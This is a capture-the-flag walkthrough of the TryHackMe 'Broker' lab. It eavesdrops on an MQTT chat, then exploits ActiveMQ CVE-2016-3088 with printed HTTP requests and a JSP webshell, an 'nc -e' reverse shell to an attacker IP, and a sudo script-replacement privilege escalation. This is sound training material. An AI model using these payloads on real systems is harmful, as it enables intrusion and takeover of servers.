THM: Broker
Broker
Paul and Max use a rather unconventional way to chat. They do not seem to know that eavesdropping is possible though…
Medium rated. This is Broker from THM. Let’s go!
Ports
SSH, plus ports 1883, 8161 and 44885. What are those?
8161
At port 8161 we find ActiveMQ version 5.9.0; default creds of admin:admin working. It’s an “open source message broker written in Java together with a full Java Message Service client.” Yeah sure, why not :/
Anyway it doesn’t appear to do anything super useful, although we can click through some of the menus and see there is something called secret_chat. Some research reveals it’s a ‘broker’ (a server, more or less) for various transport protocols including the MQTT protocol, which happens to be running on port….
1883
Yes so okay you might expect you could see the messages via this broker thingy, but no, you can’t. For this we need an MQTT client. I try a few different ones - mosquitto_sub which I installed via:
apt install mosquitto-clients
All this would do is endlessly try to connect, without actually connecting. Then I tried MQTT-Explorer-0.4.0-beta1.AppImage, and it wouldn’t connect either. Then I tried python-mqtt-client-shell, and it actually worked (once I downgraded the protocol version):
┌──(root💀kali)-[/opt/thm/broker]
└─# python3 mqtt_shell.py
Welcome to the MQTT client shell.
Type help or ? to list commands.
Pressing <Enter> on an empty line will repeat the last command.
Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> ?
Documented commands (type help <topic>):
========================================
EOF exit pacing quit
clean_session help playback record
client_id logging prompt_verbosity stop_recording
connection logging_indent protocol transport
Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> protocol
Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> protocol 3
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> connection
Connection args: host=localhost, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> host broker
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> connect
on_log(): level=16 - Sending CONNECT (u0, p0, wr0, wq0, wf0, c1, k60) client_id=b'paho-4460-kali'
***CONNECTED***
Subscriptions:
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> on_log(): level=16 - Received CONNACK (0, 0)
on_connect(): result code = 0 (Connection Accepted.)
flags = {'session present': 0}
?
Documented commands (type help <topic>):
========================================
EOF logging publish unsubscribe
disconnect logging_indent quit unsubscribe_all
exit pacing record
help playback stop_recording
list_subscriptions prompt_verbosity subscribe
***CONNECTED***
Subscriptions:
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> subscribe
Topic must be specified
***CONNECTED***
Subscriptions:
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> subscribe secret_chat
on_log(): level=16 - Sending SUBSCRIBE (d0, m1) [(b'secret_chat', 0)]
...msg_id=1, result=0 (No error.)
***CONNECTED***
Subscriptions: (topic=secret_chat,qos=0)
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
username=, password=,
TLS/SSL args: ca_certs_filepath=None, ... (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> on_log(): level=16 - Received SUBACK
on_subscribe(): subscribed: msg id = 1, granted_qos = (0,)
on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ... (142 bytes)
on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 142
Payload (str): b'Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!'
Payload (hex): b'4d61783a204e6963652120476f74746120676f206e6f772c2074686520626f73732077696c6c206b696c6c2075732069662068652073656573207573206368617474696e67206865726520617420776f726b2e20546869732062726f6b6572206973206e6f74206d65616e7420746f2062652075736564206c696b652074686174206c6f6c2e2053656520796121'
> on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ... (55 bytes)
on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 55
Payload (str): b"Paul: Hey, have you played the videogame 'REDACTED' yet?"
Payload (hex): b'5061756c3a204865792c206861766520796f7520706c617965642074686520766964656f67616d6520274861636b6e657427207965743f'
on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ... (128 bytes)
on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 128
Payload (str): b"Max: Yeah, honestly that's the one game that got me into hacking, since I wanted to know how hacking is 'for real', you know? ;)"
Payload (hex): b'4d61783a20596561682c20686f6e6573746c792074686174277320746865206f6e652067616d65207468617420676f74206d6520696e746f206861636b696e672c2073696e636520492077616e74656420746f206b6e6f7720686f77206861636b696e672069732027666f72207265616c272c20796f75206b6e6f773f203b29'
on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ... (55 bytes)
on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 55
Payload (str): b'Paul: Sounds awesome, I will totally try it out then ^^'
Payload (hex): b'5061756c3a20536f756e647320617765736f6d652c20492077696c6c20746f74616c6c7920747279206974206f7574207468656e205e5e'
on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ... (142 bytes)
on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 142
Payload (str): b'Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!'
Payload (hex): b'4d61783a204e6963652120476f74746120676f206e6f772c2074686520626f73732077696c6c206b696c6c2075732069662068652073656573207573206368617474696e67206865726520617420776f726b2e20546869732062726f6b6572206973206e6f74206d65616e7420746f2062652075736564206c696b652074686174206c6f6c2e2053656520796121'
> on_log(): level=16 - Sending PINGREQ
Yikes. Anyway, whatever. Let’s pwn this thing.
A shell, my kingdom for a shell
So access to the server is via an ActiveMQ exploit - CVE-2016-3088. There is a metasploit module for it, but it doesn’t work. Or at least it didn’t work for me.
I followed this, and it did work.
First, we provoke the server to tell us about a directory:
PUT /fileserver/%80/%80 HTTP/1.1
Host: broker:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=pd3bx4smg2gh693h3n5amjtw
Upgrade-Insecure-Requests: 1
Content-Length: 12
dsasdsadasda
And the response:
HTTP/1.1 500 /opt/apache-activemq-5.9.0/webapps/fileserver// (Not a directory)
Connection: close
Server: Jetty(7.6.9.v20130131)
Now we use PUT to create a webshell; note I typoed the filename!
PUT /fileserver//1.jps HTTP/1.1
Host: broker:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=pd3bx4smg2gh693h3n5amjtw
Upgrade-Insecure-Requests: 1
Content-Length: 345
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd = request.getParameter("cmd");
String line = null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line = br.readLine()) != null) {
out.print(line + "</br>");
}
%>
But the typo doesn’t matter because we have to MOVE it anyway, since it doesn’t have execute permission where we created it anyway.
MOVE /fileserver//1.jps HTTP/1.1
Destination: file:///opt/apache-activemq-5.9.0/webapps/admin/1.jsp
Host: broker:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 0
Now we’ve got that we can do:
http://broker:8161/admin/1.jsp?cmd=cat+/etc/passwd
Or whatever. It took a while to find a reverse shell trigger but this one did it:
http://broker:8161/admin/1.jsp?cmd=nc%20-e%20/bin/sh%2010.9.10.123%201234
Privesc
We’re on the box as activemq and we get the user flag. Privesc is simple; we can run a python script as root and we own that script. Here’s my method:
activemq@activemq:/opt/apache-activemq-5.9.0$ sudo -l
sudo -l
Matching Defaults entries for activemq on activemq:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User activemq may run the following commands on activemq:
(root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
# let's get that out of the way
activemq@activemq:/opt/apache-activemq-5.9.0$ mv subscribe.py no.py
# make our own
activemq@activemq:/opt/apache-activemq-5.9.0$ printf 'import os\nos.system("/bin/bash")\n' >> subscribe.py
activemq@activemq:/opt/apache-activemq-5.9.0$ chmod +x subscribe.py
# run it
activemq@activemq:/opt/apache-activemq-5.9.0$ sudo -u root /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
root@activemq:/opt/apache-activemq-5.9.0# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
activemq
Done! Not super easy; quite satisfying to do so thumbs up to ripcurlz and ms.geeky.